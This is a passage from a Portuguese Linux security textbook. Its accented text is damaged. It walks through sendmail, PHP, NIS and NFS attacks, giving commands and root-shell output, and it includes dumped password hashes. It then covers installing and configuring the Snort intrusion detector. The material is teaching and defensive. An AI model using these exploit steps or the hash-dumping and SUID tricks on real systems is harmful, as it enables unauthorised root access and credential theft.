sistema e estar logado para execut-lo localmente. Este tipo de exploit geralmente utilizado para o usurio ganhar um maior privilgio ou ler um arquivo que ele no pos sui permisso. 2. Exploit para execuo remota o invasor no precisa ter um conta no sistema remo to, o invasor somente precisa ter acesso a rede. Este tipo de exploit utilizado para obter algum acesso no autorizado atravs da rede. Atacando o sendmail O sendmail o servidor de email mais tradicional em plataformas UNIX. O sendmail o servio que mais apresentou problemas de segurana at hoje. Portanto, uma infinidad e de exploits esto disponveis para explorar suas vunerabilidades. O sendmail muito visado por executar seu processo com o usurio root. Assim, se al guma vunerabilidade for encontrada no servio, o invasor ter privilgios de root tambm . A seguir ser apresentado dois exploits para execuo local que possibilita um usurio comum obter um shell de root, ou seja, tornar-se root. Explorando o sendmail: A verso do sendmail 8.11.x para x<6, possibilita um usurio comum tornar-se root at ravs de estouro de pilha buffer overflow. O exploit para tal ataque pode ser econ trado no endereo http://www.packetstormsecurity.org. O exploit escrito em linguag em C e chama-se sxp.c. Este exploit foi testado nas seguintes distribuies: RedHat 7.0 e 7.1, SUSE 7.2, Slackware 8.0 e conectiva 7.0. hand Entre no sistema com um usurio comum, baixe o exploit e, em seguida, execute os seguintes comandos: $gcc sxp.c -o sxp $./sxp ...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [*] [*] [*] [*] [*] [+] [+] [*] [*] [*] [1] Victim = /usr/sbin/sendmail Depth = 32 Offset = -16384 Temp = /tmp/.sxp ESP = 0xbfffc0dc Created /tmp/.sxp Step 1. setuid() got = 0x080af028 Step 2. Copying /usr/sbin/sendmail to /tmp/.sxp/sm...OK Step 3. Disassembling /tmp/.sxp/sm...OK, found 2 targets Step 4. Exploiting 2 targets: (50% of targets) GOT=0x080af028, VECT=0x080cb0e0, offset=-16384

Voila babe, entering rootshell! Enjoy! uid=0(root) gid=0(root) groups=12(mail) # Depois da execuo do exploit, o shell de root estar disponvel para execuo de qualquer omando. Para atacar a verso do sendmail 8.11.6, voc pode utilizar o exploit sormail.c tambm disponvel no endereo http://www.packetstormsecurity.org. Este exploit causa buffe r overflow na funo prescan() do sendmail e permite que um usurio comum torne-se roo t.

hand O procedimento de ataque similar ao anterior e est apresentado abaixo: $ gcc sormail.c -o sormail $./sormail AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA0AAAAAAAA...\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\... presca n: token too long Trying pvpbuf=0xbffdfee4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAA...\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\... presca n: token too long aliasing/forwarding loop broken (1094795585 aliases deep; 10 max) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA$AAAA...\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\... presca n: token too long aliasing/forwarding loop broken (1094795585 aliases deep; 10 max) sh-2.04# Assim como no exemplo anterior, um shell de root estar disponvel no final da execuo do exploit.

Problemas como este tem como nica soluo: a atualizao do servio ou aplicao de patche rees. Observe que o sendmail sempre retorna um shell de root, pois seu processo ex ecutado por meio do super-usurio root. Servidores de email como postfix e qmail, quando encontrado alguma vunerabilidade, no ir retornar um shell de root, pois est es servidores utilizam um usurio comum para execuo de seu processo e isto caracteri za uma vantagem destes dois servidores em relao ao sendmail. Atacando o PHP

O PHP uma linguagem utilizada para criar CGI Common Gateway Interface -, ou seja , usada para desenvolver pginas Web com recursos como: acesso a banco de dados, f ormulrio de cadastro etc. Atravs do PHP possvel, por exemplo, criar comrcio eletrnic . A verso do PHP 4.02 e 4.0.6 possui uma vunerabilidade que permite obter um acesso remoto no autorizado. O exploit que ataca estas verses do PHP chama-se 7350fun e est disponvel tambm no endereo http://www.packetstormsecurity.org. hand Vejo o exemplo abaixo: #./7350fun www.xadreznet.com.br index.php 7350fun - x86/linux mod_php v4.0.2rc1-v4.0.7RC2 remote exploit by lorian. + Checking for vulnerable PHP version... + passed: server says PHP/4.2.3 + exploiting the bug now... [++++++++++] trying: bfffff04 Para executar o comando necessrio saber o IP ou nome da mquina e o arquivo escrito em PHP no servidor Web remoto, sendo que em alguns casos ser necessrio passar o c aminho representado na URL, ou seja, para um servidor Web cuja a URL est da segui nte forma: http://www.xadreznet.com.br/paginas/teste.php, o comando dever ser exe cutado conforme abaixo: #./7350fun www.xadreznet.com.br paginas/teste.php

O acesso ao servidor remoto ficar disponvel atravs do shell do usurio que executa o Apache. Geralmente, o usurio utilizado pelo Apache o nobody, portanto o shell dis ponvel dar permisses de acesso atravs do usurio nobody. Portanto, depois que aparecer a seguinte linha: uid=65534(nobody) gid=65534(nobody) grupos=65534(nobody) O shell do usurio nobody estar disponvel e qualquer comando poder ser executado remo tamente. Nota: a execuo deste exploit um pouco demorado. Logo, o acesso ser possvel depois de algumas dezenas de minutos dependendo da largura de banda da sua rede. Atacando o NIS Network Information Service

O NIS um servio cuja a finalidade centralizar a administrao em um nico servidor, es e ser o servidor NIS. Um dos objetvos principais do NIS a centralizao da administrao de usurios e grupos de usurios na rede. Assim, a criao de usurio realizada em uma n mquina da rede e todas as outras mquinas pertencente ao domnio NIS poderam utiliza r este usurio. O NIS trabalha com mapas que so utilizados pelos clientes NIS para consulta. Ou s eja, quando um cliente NIS for autenticar um usurio, este ir fazer uma consulta ao mapa criado a partir do arquivo de senha do servidor NIS que ir autentic-lo ou no. O perigo do NIS est relacionado a disposio destes mapas, pois qualquer cliente no domnio pode consult-lo e como consequncia obter o contedo do arquivo de senha do ser vidor. Atravs de um cracker de senha, uma pessoa mal intencionada poder conseguir quebrar senhas dos usurios NIS e obter um acesso no autorizado. Como atacar o NIS Para realizar este ataque, o nico pr-requisito ter uma mquina dentro do domnio NIS, ou seja, o ataque tem que partir de um cliente NIS. A configurao do cliente NIS po de ser realizada atravs do comando authconfig ou atravs do arquivo /etc/yp.conf.

Nota: No nosso objetivo ensinar a configurar um cliente NIS. Para entender mais s obre o servio NIS, consulte o livro Administrao de Redes Linux desta mesma srie e mes o autor. hand Depois de configurado o cliente NIS, execute: #ypcat passwd michele:$1$0IwAvbLG$SgjSjlf62Kv92N6bPB7gT0:509:509::/home/michele:/bin/bash mano:$1$a7RgghlL$VynViJm62j6.p7H4tNPAP/:524:524::/home/mano:/bin/bash maria:$1$JX4O3UUz$W/XTbEyj6fkYoxZ7y2tEW/:503:503::/home/maria:/bin/bash final:$1$8f5Fm0hG$4cxsSc6F0Y4pv3AgElF.H0:522:522::/home/final:/bin/bash jpaulo:$1$3vi1eARu$S6kNf.GuyMHIj.asrdLxN1:501:501::/home/jpaulo:/bin/bash paula:$1$gdNbhcjg$tSCKNvHRDSuDHMklgV3Ht0:510:510::/home/paula:/bin/bash Este comando l o mapa passwd.byname do servidor NIS. Portanto, os usurios e senhas apresentados na sada do comando acima faz parte do arquivo de senha do servidor NIS. A partir da, o prximo passo quebrar estas senhas criptografadas por meio de u m ataque de dicionrio conforme visto no captulo 3. Nota: Em algumas verses do NIS, o arquivo arquivo shadow possui um mapa prprio sha dow.byname -, ou seja, o arquivo a ser passado como parmetro dever ser shadow no l ugar de passwd. Atacando o NFS Network File System

O NFS um servio utilizado para compartilhar arquivos em redes. O gerenciamento de permisses de arquivos torna-se mais problemtico quando em conjunto com o NFS. Poi s, para trabalhar as permisses de usurio em rede tambm h a necessidade de centraliza r a administrao de contas de usurio em um nico servidor. Entretanto, o maioria dos a taques relacionado ao NFS proveniente de ms-configuraes.

O maior exemplo de m-configurao a no utilizao do parmetro root_squash. Este parme ante que o super-usurio do cliente NFS deve ser mapeado para usurio nobody quando acessar o compartilhamento NFS na rede. Veja, um exemplo do arquivo de configurao do NFS arquivo /etc/exports. /compartilhado 10.1.0.0/16(rw,root_squash)

O ataque baseado na criao de um arquivo com SUID no cliente NFS, este arquivo com SUID deve ser copiado para o compartilhamento NFS. Depois que o arquivo estiver no servidor, basta acessar o servidor o atacante necessita de uma conta de usurio no servidor e executar o arquivo com SUID. Este ataque permite a utilizao de qual quer comando do sistema com permisso de root, j que qualquer comando com SUID pode r ser executado no servidor. Simulao do ataque ao NFS hand O primeiro passo a ser feito verificar quais diretrios esto compartilhados vi a NFS no servidor. Para isto, execute: #showmount --export 10.1.0.2 Export list for localhost: /doc 10.1.0.0/255.255.0.0 Em nosso exemplo, o servidor a mquina 10.1.0.2 e somente o diretrio /doc est compar tilhado, sendo que a rede 10.1.0.0/255.255.0.0 a rede que possui permisso para ac ess-lo. O pr-requisito para efetuar este ataque ter controle de root no cliente e estar n uma rede que tenha permisso para montar o compartilhamento do servidor. hand Para verificar se o compartilhamento est configurado com a opo root_squash, ex ecute o procedimento abaixo: #mount -t nfs 10.1.0.2:/doc /mnt/rede #cd /mnt/rede #touch teste #ls -l teste -rw-r--r-1 root root 0 Jun 1 18:04 teste Se o dono do arquivo criado dentro do diretrio compartilhado for root conforme ap resentado no exemplo, o NFS est mal configurado e o ataque possvel, caso o dono do arquivo teste criado dentro do compartilhamento for nobody o ataque no possvel. hand Caso o sistema esteja vunervel, faa uma cpia de qualquer comando executvel e co pie para o compartilhamento, em seguida, ative o bit de SUID no arquivo executvel conforme mostrado abaixo: #chmod 4755 vi O exemplo ilustra a utilizao do editor de texto vi. Depois de copiado o arquivo ex ecutvel e ativado o SUID, acesse o servidor NFS com qualquer conta de usurio comum e execute o arquivo executvel com SUID, se voc optou por usar tambm o vi, ser possve l abrir qualquer arquivo do sistema, inclundo o arquivo de senha shadow.

Consideraes Finais

Todo servio sem exceo est susceptvel a ataques que podem comprometer a segurana do si tema. O bom administrador deve evitar que dados sejam capturados e entendidos at ravs da rede, deve conhecer profundamente os servios disponveis de forma a no comete r erros de configurao e fazer testes de exploits para verificar a existncia de serv ios vunerveis.

Portanto, imprescindvel que o administrador acesse diariamente sites especializad os em segurana para informar-se sobre os atuais ataques e novos exploits. importa nte tambm a criao de rotinas de verificao de segurana peridica, assim como criar equ s ou contratar um terceiro com a finalidade de colocar o sistema prova. A idia de scobrir os furos de segurana antes que eles sejam descobertos por pessoas mal int encionadas. Terminologia Utilizada SUID Switch User ID - um recurso do sistema de arquivo do Linux que permite um usurio enquadrado como outros executar um arquivo como se fosse o dono. Ou sej a, o dono do processo ser o dono do arquivo e no o usurio que realmente executou ta l arquivo. Shell Interpretador de comandos. uma interface entre o usurio e o kernel. O i nterpretador de comandos padro do Linux o bash. Exploits - ferramentas de explorao de servios ou qualquer tipo de vunerabilidad e encontrada no sistema ou rede. Estas ferramentas so programas cuja finalidade : executar comandos arbitrrios, obter um shell no autorizado e aumentar os privilgios de usurio por meio de erros de programao de alguns servios ou qualquer recurso do s istema Buffer overflow Estouro de pilha Falha de programao que faz com que haja um tra nsbordamento da rea de memria de uma determinada varivel sobre a rea reservada para o utras variveis, ou sobre a rea de memria que contm cdigo executvel. CGI Common Gateway Interface Programas utilizado como interface entre servid or Web e o sistema. Pode ser escrito em diversos linguagem, no Linux pode ser es crito em Perl, PHP e Script shell. PHP Linguagem utilizado para criar pginas Internet com recursos como: formulri os, acesso a banco de dados, comrcio eletrnico etc. NIS Network Information Service - um servio cuja finalidade centralizar a adm inistrao da rede em um nico servidor. Um dos objetvos principais do NIS a centraliz ao da administrao de usurios e grupos de usurios na rede. NFS Network File System um servio cuja finalidade compartilhar arquivos na re de. A partir deste servio possvel compartilhar diretrios, CD-ROM etc. Links Indicados http://packetstormsecurity.org Site especializado em segurana. Acredito ser o site que mais disponibiliza exploit para diversos servios e plataformas. http://www.securiteam.org Site tambm especializado em segurana. Disponibiliza os exploit organizado de acordo com a data do ano. http://www.securityfocus.com - Disponibiliza exploits e notcias sobre segurana .

http://www.cert.org - Melhor site para encontrar alertas de segurana. Os mais diversos tipos de ataques e vunerabilidades so retratados neste endereo. Exerccios de Reviso 1. Qual a definio de exploits? Como um exploit pode ser utilizado para ganhar acesso no autorizado ou aumentar os privilgios de usurios? 2. Faa uma pesquisa sobre buffer overflow e escreva um possvel cdigo na linguag em C que possa causar estouro de pilha. 3. Instale as verses do sendmail e PHP vunervel e comprove os exploits mostrad o neste captulo. Como possvel evitar ataques baseados em exploits? 4. Com relao ao servio NFS, o captulo apresenta o cliente atacando o servidor NF S. possvel o servidor atacar o cliente NFS a partir do uso de arquivos com SUID? Seria mais difcil ou mais fcil? Por qu? IDS Sistemas de Deteco de Intrusos IDS so ferramentas utilizadas para detectar uma grande variedades de ataques. pos svel por exemplo detectar varreduras na rede, ataques DoS, exploits e ataques por fora bruta. Introduo IDS Intrusion Detection System Sistemas de deteco de invaso a prtica de utilizar ramentas automatizadas e inteligentes para detectar tentativas de invaso em tempo real. A implementao de qualquer IDS tem como finalidade a deteco de ataques que sej am dirigidos a sua rede. Portanto, so ferramentas utilizadas para defesa. Os IDS detectam diversos tipos de ataques como por exemplo: varredura de rede, a taques DoS, ferramentas de explorao exploits -, ataques por fora bruta via rede etc . Isto permite identificar o problema e aplicar as medidas corretas para preveni r novos ataques. Alm de detectar os ataques, estas ferramentas so capazes de ident ificar o autor do ataque. Logo, o IDS fornece um quantidade de informaes razoveis q ue seria o primeiro passo para se ter uma conversa com o responsvel pelo ataque. Ferramentas disponveis Abaixo est apresentado os principais IDS disponveis para o Linux Snort Monitora toda a sub-rede local e capaz de detectar vrios tipos de ataqu es. Detecta por exemplo ataques DoS, exploits, varredura e ataques por fora bruta . O site oficial www.snort.org. PortSentry? um detector de varreduras e tentativas de conexes a portas comume nte usadas por invasores monitora at 64 portas diferentes. Faz parte do projeto P sionic Abacus e est disponvel no endereo http://www.psionic.com/abacus/portsentry. Scanlogd - Um software desenvolvido pela Solar Designer empresa que desenvol veu o John the Ripper que detecta varredura de portas e registra seus log atravs do syslog. Est disponvel no endereo http://www.openwall.com/scanlogd LIDS Linux Intrusion Detection System disponibilizado na forma de correes patc h do kernel, ou seja, suas funes so implementadas diretamente no kernel. O LIDS inc orpora ao kernel um detector de varreduras de portas e vrias outras medidas admin itrativas como: proteo do sistema de arquivos e processos, deixando o sistema mais seguro. Nota: Neste material ser apresentado o snort. Entretanto, aconselhvel que o leitor experimente outros IDS, isto porque algumas ferramentas podem tratar aspectos q ue faltem em outras e a utilizao de duas ou mais ferramentas ir garantir maiores re

sultados. Snort O snort pode ser definido como um farejador inteligente capaz de analisar todo o trfego da rede e identificar ataques. O ataques so identificados atravs da comparao de um conjunto de regras pr-estabelecido com os dados capturados na rede. Instalao do Snort O snort um software de cdigo aberto disponvel no endereo http://www.snort.org. Ante s de instalar o snort necessrio instalar o biblioteca libpcap. Instalao da libpcap: hand Esta biblioteca pode ser encontrada no endereo http://www.tcpdump.org. Faa do wnload do pacote tar.gz no diretrio /usr/local/src e, em seguida, execute: #tar xvfz libpcap-0.7.2.tar.gz #cd libpcap-0.7.2 #./configure #make #make install Este procedimento ir instalar a biblioteca libpcap no diretrio /usr/local/lib. Instalao do Snort: hand Copie o cdigo fonte do snort para o diretrio /usr/local/src e, em seguida, ex ecute: #tar xvfz snort-2.0.0.tar.gz #cd snort-2.0.0 #./configure --prefix=/usr/local/snort #make #make install A opo --prefix indica o local de instalao do snort. Portanto, os arquivos de configu rao e execuo do snort, depois de instalado, estaro disponveis neste diretrio Nota: Se ocorrer algum problema na compilao do snort, veja os arquivos que ficam d entro do diretrio doc que acompanha o pacote. Configurao do snort Antes de inicializar o snort necessrio copiar o arquivo de configurao e os arquivos de regras do snort. Junto com o cdigo fonte do snort disponibilizado um diretrio com os arquivos de configurao necessrio para incializao, este diretrio chama-se etc. diretrio que guarda os arquivos de regra chama-se rules. Ambos os diretrios devem ser copiados para o diretrio de instalao do snort conforme mostrado abaixo: #cp -R /usr/loca/src/snort-2.0.0/etc /usr/local/snort #cp -R /usr/loca/src/snort-2.0.0/rules /usr/local/snort

O arquivo de configurao do snort o arquivo snort.conf. A configurao deste arquivo d vidido em 4 partes. 1.Configurao das variveis de rede 2.Configurao dos pr-processadores 3.Configurao dos plugins de sadas

4.Customizao das regras Configurao das variveis de rede A sintaxe das definies de variveis podem ser entendidas da seguinte forma: var <NOME-DA-VARIVEL> <valor> O nome da varavel sempre definido com letras maisculas. O valor que a varivel ir gua rdar pode ser uma palavra chave ou qualquer outra varavel definida anteriormente. No ltimo caso deve-se utilizar o nome da varavel com o caractere $. Abaixo est apresentado a configurao padro de instalao do snort. var var var var var var var var var var var HOME_NET any EXTERNAL_NET any DNS_SERVERS $HOME_NET SMTP_SERVERS $HOME_NET HTTP_SERVERS $HOME_NET SQL_SERVERS $HOME_NET TELNET_SERVERS $HOME_NET HTTP_PORTS 80 SHELLCODE_PORTS !80 ORACLE_PORTS 1521 RULE_PATH ../rules

A configurao padro do snort gera muito log dificultando a anlise, pois se trata de u ma configurao genrica. sempre importante personalisar as varives para diminuir a qua ntidade de informaes gravadas em logs. O snort mal-configurado pode gravar muitas informaes ociosas. Abaixo est explicado a finalidade de cada varivel, configure-as d e acordo com sua rede. var HOME_NET any: A varivel HOME_NET determina a rede privada que o snort ir m onitorar. O valor any determina que qualquer rede ser monitorada, mais precisamen te, determina que todos os dados acessveis pela mquina onde o snort est instalado s er monitorado. Lembre-se: o snort um tipo de farejador sniffer e portanto captura todos os dados que trafegar no barramento local. Voc poder personalisar esta variv el da seguinte forma: var HOME_NET 10.1.0.0/16, onde 10.1.0.0/16 o endereo de sua rede local. var EXTERNAL_NET any: Uma boa configurao para esta varivel o valor any. Assim, o snort ir monitorar qualquer pacote externo que tiver destino sua rede. var DNS_SERVERS $HOME_NET: Esta varivel determina os servidores DNS de sua re de a serem analisados pelo snort. Observe que a configurao padro utiliza como valor a varavel $HOME_NET. Assim, o valor definido para a varivel DNS_SERVERS ser o mesm o da varivels HOME_NET. aconselhvel alterar o valor desta varivel e definir a lista de servidores de sua rede conforme o exemplo: var DNS_SERVERS [10.1.0.2,10.1.0. 3]. var var var var SMTP_SERVERS $HOME_NET HTTP_SERVERS $HOME_NET SQL_SERVERS $HOME_NET TELNET_SERVERS $HOME_NET

A configurao destas quatro variveis similar ao exemplo anterior, modificando apenas o tipo de servidor. Neste caso deve ser definido a lista de servidores de email SMTP_SERVERS servidores Web - HTTP_SERVERS, servidores de banco de dados SQL SQ L_SERVER e servidores Telnet TELNET_SERVERS.

var HTTP_PORTS 80 Determina a porta do servidor Web a ser utilizado para anlise do snort. Somente s er necessrio alterar esta opo, se o seu servidor Web estiver sendo executado em uma porta diferente da 80. var ORACLE_PORTS 1521 Determina a porta do servidor de banco de dados Oracle para alise do snort. var SHELLCODE_PORTS 80 Portas que deseja-se procurar por cdigos em Shell, esta varivel permite o snort pr ocurar por pacotes que contenham cdigos em shell scripts. O valor 80 determina qu e ser monitorado todas as portas exceto a porta 80. Pginas Web podem ser utilizada s em conjunto com script Shell para criar estruturas de condies e todos os recurso s que a linguagem shell permite. Este o motivo pelo qual no h a necessidade de mon itorar a porta 80. var RULE_PATH ../rules Define o diretrio que contm os arquivos de regras do snort. Certifique-se de que o caminho destas regras esteja configurada corretamente. Pode-se passar o caminho completo conform apresentado: var RULE_PATH /usr/local/snort/rules. Configurao dos pr-processadores:

A funo dos pr-processadores analisar determinado trfeto na rede. Atravs dos pr-proc adores possvel analisar as integridades dos pacotes assim como detectar vrios tipo s de varreduras. A sintaxe dos preprocessadores est descrita abaixo: preprocessor <nome_do_processador>: <opes_de_configurao> Abaixo est descrito os pr-processadores que esto habilitados por padro: preprocessor frag2 preprocessor stream4: detect_scans, disable_evasion_alerts preprocessor http_decode: 80 unicode iis_alt_unicode double_encode iis_flip_slas h full_whitespace preprocessor rpc_decode: 111 32771 preprocessor telnet_decode preprocessor frag2 Este pr-processador ir detectar pacotes desfragmentado geralmente utilizado em ata ques DoS. Ataques como ping da morte - Ping of Death e Teardrop so detectados por p or este pr-processador. preprocessor stream4: detect_scans, disable_evasion_alerts Faz anlise e remontagem das cadeias TCP. A opo detect_scans permite que seja identi ficada varreduras silensiosas stealh scan. preprocessor http_decode: 80 unicode iis_alt_unicode double_encode iis_flip_slas h full_whitespace Normaliza requisies HTTP de uma mquina remota. A opo unicode normaliza unicode e perm ite que o snort monitore ataques baseado no unicode.

preprocessor rpc_decode: 111 32771 Normaliza o trfigo RPC Chamada de Procedimento Remoto - utilizado pelo NFS Sistem a de Arquivo em Rede. preprocessor telnet_decode Normaliza as negociaes de conexes do telnet e ftp. preprocessor portscan: $HOME_NET 4 3 portscan.log Este pr-processador geralmente fica comentado. O portscan detecta um grande quant idade de varreduras de rede executadas por scanners. Este um pr-processador muito importante pois registra em log arquivo portscan.log todas as tentativas de var reduras na sua rede. Portanto, aconselha-se descoment-la. O snort ir detectar toda s as varreduras que tiver determinada pela varivel $HOME_NET . Geralmente desejase detectar todas as varreduras proveniente da rede interna e externa. Neste cas o, deve-se substituir a varivel $HOME_NET por any ou atribuir o valor any varivel HOME_NET. Configurao dos plugins de sada:

Esta configurao permite definir como ser tratado os logs do snort. Todos os plugins de sadas so comentados por padro. A configurao dos plugins no obrigatria, o snort padro ir gravar seu logs atravs de arquivo texto. A sintaxe dos plugins est mostrado abaixo: output <name_of_plugin>: <configuration_options> Veja agora dois exemplos de configurao que pode ser utilizado: output alert_syslog: LOG_AUTH LOG_ALERT output database: log, mysql, user=root password=test dbname=db host=localhost O primeiro exemplo configura o snort para utilizar o syslog system log - para gr avar e formatar seus logs. J o segundo exemplo permite o snort enviar seus logs p ara um banco de dados que neste caso o MySQL?. Os bancos de dados: Postgresql, u nixODBC, MS SQL Server e Oracle tambm suportado pelo snort. Customizao das regras: Vrios arquivos de regras acompanham o pacote do snort. Entretanto, nem todos so ne cessrios utilizar. Para verificar quais regras existem, entre dentro do diretrio r ules e liste o contedo deste diretrio. As regras a serem utilizadas ir depender de quais servios disponibilizado em sua rede.

atravs destas regras que o snort identifica dados maliciosos na rede. A identific ao feita atravs de comparao do contedo capturado como os arquivos de regras. Abaixo t apresentado um trecho do contedo do arquivo de regras dos.rules. alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS Jolt attack"; fragbits: M; dsize:408; reference:cve,CAN-1999-0345; classtype:attempted-dos; sid:268; rev:2 ;) alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS Land attack"; id:3868; se q: 3868; flags:S; reference:cve,CVE-1999-0016; classtype:attempted-dos; sid:269; rev:2;) alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS Teardrop attack"; id:242; fragbits:M; reference:cve,CAN-1999-0015; reference:url,www.cert.org/advisories/ CA-1997-28.html; reference:bugtraq,124; classtype:attempted-dos; sid:270; rev:2; )

Em seguida est apresentado um trecho da configurao padro de instalao do snort. include include include include include include include include include include include include $RULE_PATH/bad-traffic.rules $RULE_PATH/exploit.rules $RULE_PATH/scan.rules $RULE_PATH/finger.rules $RULE_PATH/ftp.rules $RULE_PATH/telnet.rules $RULE_PATH/rpc.rules $RULE_PATH/rservices.rules $RULE_PATH/dos.rules $RULE_PATH/ddos.rules $RULE_PATH/dns.rules $RULE_PATH/tftp.rules

Existem vrias outras regras que no esto apresentadas aqui. Habilite ou desabilite a s regras que voc achar necessrias. Procure personalisar as regras para ter um regi stro de log mais eficiente e evitar falsos alertas. Alguns tipos de regras so com uns a todas as redes e devem ser habilitadas como por exemplo: dos, backdoor, vru s etc. Entretanto, deixar regras de servios que no esto disponveis em sua rede no h n cessidade. Nota: O snort permite que voc crie suas prprias regras. Um tutorial sobre como esc rever novas regras para o snort pode ser encontrado em seu site oficial. Inicializao do Snort O snort possui vrios modos de operao ser apresentado aqui o modo IDS. Antes de execu tar o snort necessrio criar o diretrio de log do snort. Em nosso estudo ser conside rado o diretrio /var/log/snort. hand Portanto, este diretrio dever ser criado. mkdir /var/log/snort Em nossa instalao, foi definido que o snort deveria ser instalado dentro do diretri o /usr/local/snort, o comando snort fica dentro dentro do diretrio bin. hand Logo siga o procedimento abaixo: cd /usr/local/snort/bin hand Para iniciar o snort, execute: #./snort -c /usr/local/snort/etc/snort.conf -D -l /var/log/snort Em nosso exemplo foi passado o caminho absoluto do arquivo de configurao snort. Po deria ser utilizado tambm o caminho relativo. Opes -c -D -s Descrio Opo utilizada para especificar o arquivo de configurao do snort. Executar o snort como Daemon Enviar alerta do snort para o syslog

hand Verifique se o snort realmente est sendo executado: #ps aux root grep snort 1062 0.4 31.2 41320 37184 ? S 10:14 0:03 ./snort -c

hand Uma boa alternativa verificar o arquivo de log do syslog arquivo /var/log/m

essages. #tail /var/log/messages Apr 25 10:33:27 torre snort: Snort initialization completed successfully Se tudo ocorrer bem, dever aparecer a mensagem em negrito apresentada. Obviamente o syslog ir apresentar vrias outras linhas de logs que pode ser utilizada para id entificao de problemas caso ocorra. Anlise de logs do snort Afinal de contas a finalidade do snort detectar ataques. A partir de agora ser an alisado os registros de logs do snort que permite identificar estes possveis ataq ues. Como definido na inicializao do snort, as informaes e registros do snort estaro dispo nveis no diretrio /var/log/snort. Todos os alertas do snort so registrados no arquivo alert que criado automaticame nte dentro do diretrio de log do snort. Alertas especficos so registrados atravs de um diretrio cujo nome o IP da mquina responsvel por tal alerta. Dentro destes diretr ios sero criados arquivos que retratam o alerta. Se o snort estiver configurado para utilizar o pr-processador portscan, ser criado um arquivo chamado portscan.log que retrata todas as varreduras realizadas em s ua rede. Identificando varreduras na rede: A seguir est apresentado um exemplo de varredura capturado pelo snort. Apr Apr Apr Apr Apr Apr 25 25 25 25 25 25 11:22:13 11:22:14 11:22:14 11:22:14 11:22:14 11:22:14 192.168.1.3:46287 192.168.1.3:46289 192.168.1.3:46289 192.168.1.3:46289 192.168.1.3:46289 192.168.1.3:46289 -> -> -> -> -> -> 192.168.1.1:23 SYN ******S* 192.168.1.1:1418 SYN ******S* 192.168.1.1:407 SYN ******S* 192.168.1.1:335 SYN ******S* 192.168.1.1:366 SYN ******S* 192.168.1.1:781 SYN ******S*

O exemplo acima foi retirado do arquivo postscan.log. No pequeno trecho apresent ado possvel identificar a varredura. Neste exemplo a mquina 192.168.1.3 executou u m scanner de rede para varrer a mquina 192.168.1.1. Nota: Esta sada do snort permite compreender o funcionamento dos scanners de rede . Observe que vrias portas so abertas no cliente mquina que executou o scanner para testar conectividade com todas as porta da mquina que est sendo scanneada. A conect ividade testada atravs do envido de pacotes SYN. Exemplo de deteco de ataque DoS: O snort consegue detectar vrios tipos de ataques DoS, incluindo ataques baseado n a desfragmentao de pacote IP. Quando este tipo de ataque identificado ser criado um diretrio como o IP da mquina atacante. Dentro deste diretrio ser criado um arquivo chamado IP_FRAG. Veja um possvel contedo deste arquivo: [**] BAD TRAFFIC bad frag bits [**] 04/25-11:46:34.268562 192.168.1.3 -> 192.168.1.1 IGMP TTL:64 TOS:0x0 ID:55789 IpLen:20 DgmLen:1500 DF MF Frag Offset: 0x0681 Frag Size: 0x0014 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

O prximo tpico apresenta o SnortSnarf? - um analisador de logs do snort. SnortSnarf? O SnortSnarf? um analisador de logs utilizado para facilitar o entendimento dos logs do snort. Este software verifica os alertas do snort que pode estar em arqu ivo ou banco de dados e produz relatrios em HTML que facilitam a inspeo e diagnstico dos alertas. Instalao do SnortSnarf?: O SnortSnarf? um programa escrito na linguagem Perl cujo cdigo fonte est disponvel no endereo http://www.silicondefense.com/software/snortsnarf/index.htm. Faa downlo ad do software no diretrio /usr/local/src . hand Em seguida descompacte-o da seguinte forma: #tar xvfz SnortSnarf-021111.1.tar.gz Antes de executar o snortsnarf.pl, ser necessrio fazer download de algum mdulos Per l. Os mdulos Perl necessrios so: JulianDay?.pm ParseDate?.pm Timezone.pm Todos este mdulos Perl podem ser encontrados no endereo http://search.cpan.org/, b asta fazer uma busca neste endereo. Em seguida crie o diretrio Time dentro do dire trio include que acompanha o cdigo fonte do SnortSnarf? e copie os mdulos para este novo diretrio. hand Este procedimento est mostrado abaixo: #mkdir /usr/local/src/SnortSnarf-021111.1/include/Times #cp JulianDay.pm ParseDate.pm Timezone.pm <caminho-para-o-diretrio-Time> Executando o SnortSnarf?:

A execuo do SnortSnarf? ir gerar relatrio em arquivos HTML. Basicamente necessrio pa sar dois parmetros para o SnortSnarf?: O caminho do arquivo de alerta do snort e o diretrio aonde dever ser gerado os arquivos de relatrio. hand Veja o exemplo: #perl snortsnarf.pl /var/log/snort/alert -d /var/www/default/snort sempre interessante gerar os arquivos HTML dentro de um diretrio acessvel pelo ser vidor Web. Isto permite que os relatrios sejam acessveis remotamente via HTTP. Ent retanto, no obrigatrio utilizar servidores Web, neste caso gere os arquivos em qua lquer diretrio. Em nosso exemplo foi considerado que o parmetro DocumentRoot? do a rquivo de configurao do Apache est configurado com diretrio /var/www/default e que o diretrio snort foi criado previamente. Nota: Algumas distribuies utilizam o /var/www/default como sendo o diretrio raiz do servidor Web Apache. Este diretrio raiz configurado atravs da diretiva DocumentRo ot? no arquivo de configurao do Apache. Certifique-se de qual o diretrio raiz que o seu servidor Web est utilizando. Analisando os logs:

